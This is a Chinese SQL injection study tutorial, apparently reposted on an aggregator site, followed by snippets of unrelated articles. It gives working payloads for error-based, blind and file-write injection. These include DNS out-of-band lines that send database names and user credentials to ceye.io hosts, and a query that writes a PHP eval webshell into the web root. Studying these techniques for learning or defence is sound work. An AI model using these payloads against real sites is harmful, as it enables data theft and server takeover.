sql注入学习

 基础查询语句:

给指定字段添加数据
insert into 表名(字段名1,字段名2,.....) values(值1,值2,......);
给全部字段添加数据
insert into 表名 values (值1,值2,.....);--无限制条件的修改,会修改整张表
update 表名 set 字段 = 值;
--有限制条件的修改,只修改特定记录
update 表名 set 字段 = 值 where 条件(字段 = 值);replace
要确定表中是否已存在新行,MySQL使用PRIMARY KEY或UNIQUE KEY 索引。如果表没有这些索引之一,则REPLACE语句等同于INSERT语句。
replace into 表名 VALUES(6,'wokou','新九州岛','日本')

 

select + 列名 from +表名 where +限制 
select * from users where name in ('zxp');  //查询所有name ='zxp'  1为填充列,union查询后边查询的列必须和前边的列相等
select * from users where id=6 union select *,1 from emails where id=6;由于页面只会回显一行,则需要将前边语句不成立,union查询的结果便会显示
select * from use where id=-1 union select 1,2,3#查询三列group by进行分组,分组不能超过查询的列数,2 3 为填充列
select name,2,3 from user  group by 2  按第3列分组order 按照第几列进行排序
select name,2,3 from user  group by 1 按照第一列排序limit 限制输出行数
select * from user limit 0,3 从第一行开始输出3行

一、报错注入:

substr

1.extractvalue:注意

extractvalue updatexml都只能显示最多32个字符 

需要用substr mid 截取

extractvalue() 第一个参数 XML文档名称 ,第二个参数 路径

select extractvalue(doc,'/book/author/surname') from xml

如果路径的第一个字符错了,就会报错  

?id=0'union select 1,2,extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,30)
from information_schema.schemata)))--+

2.updatexml(xml_document,xpath_string,new_value)  

select undatexml(doc,'/book/auther/surname','1') from xml
更改路径的符号会报错
select undatexml(doc,'~book/auther/surname','1') from xml

如果没有用group_concat需要用limit 控制输出第几行

?id=1")union select 1,2,updatexml(1,concat(0x7e,(select mid(schema_name,1,30) from information_schema.schemata limit 0,1), 0x7e),1)--+

3.floor

rand()返回0~1间的小数   

floor向下取整  ceiling向上取整

concat_ws() 将括号里的数据用第一个字段连接起来

as 用于取别名

count() 汇总统计数量

?id=0" union select 1,count(*),concat_ws('-',(select substr(group_concat(table_name),1,30)
from information_schema.tables where table_schema='ctftraining'),floor(rand(0)*2)) as a from information_schema.tables group by a--+
from information_schema.tables这个是为了让行数多一点,

4.DNS外带 

 dnslog带外注入需要有文件读取的操作权限才能进行。

仅限于windos环境

?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+

因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去

' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+

二、盲注

1.布尔盲注

?id=1'and ascii(substr((select group_concat(table_name) from 
information_schema.tables where table_schema=database()),1,1))>40--+

2.时间盲注

?id=1'and if( ascii(substr((select group_concat(table_name) from 
information_schema.tables where table_schema=database()),1,1))>410,sleep(0),sleep(2))--+

三 、文件写入

1.into outfile

需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。 

查看是否有写入权限
show variables like '%secure%'
其中当参数 secure_file_priv 为空时,对导入导出无限制
当值为一个指定的目录时,只能向指定的目录导入导出当值被设置为NULL时,禁止导入导出功能
使用条件
  • root权限

  • GPC关闭(能使用单引号)

  • 有绝对路径(读文件可以不用,写文件必须)

  • 没有配置—secure-file-priv

?id=-1')) union select 1,2,"<?php @eval($_POST['password');?" into outfile "/var/www/html1.php"--+

三.DNS外带

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/211652.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件设计师——计算机网络(二)

&#x1f4d1;前言 本文主要是【计算机网络】——软件设计师——计算机网络的文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是听风与他&#x1f947; ☁️博客首页&#xff1a;CSDN主页听风与他 &#x1…

Promise介绍和使用

Promise Promise是一门新的技术&#xff08;ES6规范&#xff09;&#xff0c;JS中进行异步编程的新解决方案。&#xff08;旧的方案是使用回调函数&#xff0c;比如AJAX请求&#xff09;。 从语法上来说Promise是一个构造函数。 从功能上来说Promise对象用来封装一个异步操作并…

生成式AI赋能千行百业加速创新,2023亚马逊云科技re:Invent行业盘点

2023亚马逊云科技re:Invent全球大会已于上周圆满闭幕&#xff0c;在本次大会中&#xff0c;亚马逊云科技又为大家带来了很多功能/项目迭代更新&#xff0c;也重磅发布了很多全新的功能。今天从行业视角来盘点回顾哪些重磅发布适用于垂直行业客户&#xff0c;以及面向汽车、制造…

ChatGLM3-6B和langchain阿里云部署

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、ChatGLM3-6B部署搭建环境部署GLM3 二、Chatglm2-6blangchain部署三、Tips四、总结 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; …

ffmpeg之ffprobe.c源码分析一---大流程及核心代码分析

文章目录 前言为什么学习ffprobe源码源码调试main()函数重要流程函数分析open_input_file函数分析avformat_match_stream_specifier函数分析read_packets函数分析本篇文章带你打通ffprobe源码的脉络。 关注公众号免费看: 前言 注:本文章全凭个人经验以及平时学习所记录,由…

gdal合成多个波段

def synthesis_bands(dst_list, outfile):"""将多光谱波段合成一个tif:param dst_list: 输入待合成文件的列表:param outfile: 影像的输出文件夹"""dataset_init gdal.Open(dst_list[0])# 创建待输出的图tiff_driver gdal.GetDriverByName(GTi…

【MySQL进阶】索引使用

一、索引使用 1.验证索引效率 tb_sku 这张表中准备了 1000w 的记录。 我用夸克网盘分享了「1000w的模拟数据」链接&#xff1a;https://pan.quark.cn/s/15cf665202b2 这张表中id为主键&#xff0c;有主键索引&#xff0c;而其他字段是没有建立索引的。 我们先来查询其中的…

JS基础之原型原型链

JS基础之原型&原型链 原型&原型链构造函数创建对象prototypeprotoconstructor实例与原型原型的原型原型链其他constructorproto继承 原型&原型链 构造函数创建对象 我们先使用构造函数创建一个对象&#xff1a; function Person(){ } var person new Person();…

多窗口文件管理工具Q-Dir安装以及使用教程

软件介绍 Q-Dir 是一款功能强大的Windows资源管理器&#xff0c;可以非常方便的管理你的各种文件。Q-Dir有4 个窗口&#xff0c;特别适用于频繁在各个目录间跳跃复制粘贴的情况&#xff0c;每个窗口都可以方便的切换目录&#xff0c;以不同颜色区分不同类型的文件&#xff0c;…

(企业项目)微服务项目解决跨域问题:

前后端分离项目中前端出现了跨域的问题 在网关模块配置文件中添加 配置 application.properties # 允许请求来源&#xff08;老版本叫allowedOrigin&#xff09; spring.cloud.gateway.globalcors.cors-configurations.[/**].allowedOriginPatterns* # 允许携带的头信息 spri…

idea__SpringBoot微服务06——静态资源(新依赖),首页和图标定制

静态资源 一、静态资源二、首页和图标定制————————创作不易&#xff0c;如觉不错&#xff0c;随手点赞&#xff0c;关注&#xff0c;收藏(*&#xffe3;︶&#xffe3;)&#xff0c;谢谢~~ 新依赖&#xff1a;jquery的 <dependency><groupId>org.webjars&…

说说设计体系、风格指南和模式库

目录 一、定义 二、设计体系 2.1 Design system 2.2 风格指南 2.3 Component 三、样式库 一、定义 设计体系&#xff08;Design system&#xff09;&#xff1a;可共享的设计语言的基础合集&#xff0c;包含了设计价值&#xff0c;语义&#xff0c;语法和上下文。 风格…

matplotlib 默认属性和绘图风格

matplotlib 默认属性 一、绘图风格1. 绘制叠加折线图2. Solarize_Light23. _classic_test_patch4. _mpl-gallery5. _mpl-gallery-nogrid6. bmh7. classic8. fivethirtyeight9. ggplot10. grayscale11. seaborn12. seaborn-bright13. seaborn-colorblind14. seaborn-dark15. sea…

Chart 7 内存优化

文章目录 前言7.1 Adreno GPU OpenCL内存7.1.1 内存声明周期7.1.2 Loacl Memory7.1.3 Constant memory(常量内存)7.1.4 Private Memory7.1.5 Global Memory7.1.5.1 Buffer Object7.1.5.2 Image Object7.1.5.3 Image object vs. buffer object7.1.5.4 Use of both Image and buf…

C语言数据结构-双向链表

文章目录 1 双向链表的结构2 双向链表的实现2.1 定义双向链表的数据结构2.2 打印链表2.3 初始化链表2.4 销毁链表2.5 尾插,头插2.6 尾删,头删2.7 根据头次出现数据找下标2.8 定点前插入2.9 删除pos位置2.10 定点后插入 3 完整代码3.1 List.h3.2 Lish.c3.3 test.c 1 双向链表的结…

ajax中get和post的区别,datatype返回的数据类型有哪些?web开发中数据提交的几种方式,有什么区别。百度使用哪种方式?

在Ajax中&#xff0c;GET和POST是两种常见的HTTP请求方法。它们有以下区别&#xff1a; GET请求&#xff1a;使用GET请求时&#xff0c;参数数据会附加在URL的末尾&#xff0c;以查询字符串的形式发送给服务器。GET请求是幂等的&#xff0c;也就是说多次发送相同的GET请求&…

键盘打字盲打练习系列之矫正坐姿——4

一.欢迎来到我的酒馆 盲打&#xff0c;矫正坐姿&#xff01; 目录 一.欢迎来到我的酒馆二.继续练习二.矫正坐姿1.键鼠快速选购指南2.椅子快速选购指南 三.改善坐姿建议 二.继续练习 前面的章节&#xff0c;我们重点向大家介绍了主键盘区指法和键盘键位。经过一个系列的教程学习…

Mybatis环境搭建

1、开发环境 IDE&#xff1a;IntelliJ IDEA 2022.2.1 (Ultimate Edition) 构建工具&#xff1a;maven 3.6.1 MySQL版本&#xff1a;MySQL 5.7 MyBatis版本&#xff1a;MyBatis 3.5.14 2、工程创建 创建一个Maven工程giser-java-mybatis-demo 基础依赖如下&#xff1a; &…

【Python】pip命令及使用

PIP命令 下面是一个整理成表格的pip命令及使用的示例&#xff1a; 命令使用示例说明pip install <package>pip install requests安装名为"requests"的包pip uninstall <package>pip uninstall requests卸载名为"requests"的包pip listpip li…

用友U8 Cloud 多处反序列化RCE漏洞复现

0x01 产品简介 用友U8 Cloud是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。 0x02 漏洞概述 用友U8 Cloud存在多处(TableInputOperServlet、LoginServlet 、FileTransportServlet、CacheInvokeServlet、ActionHandlerServlet、Servle…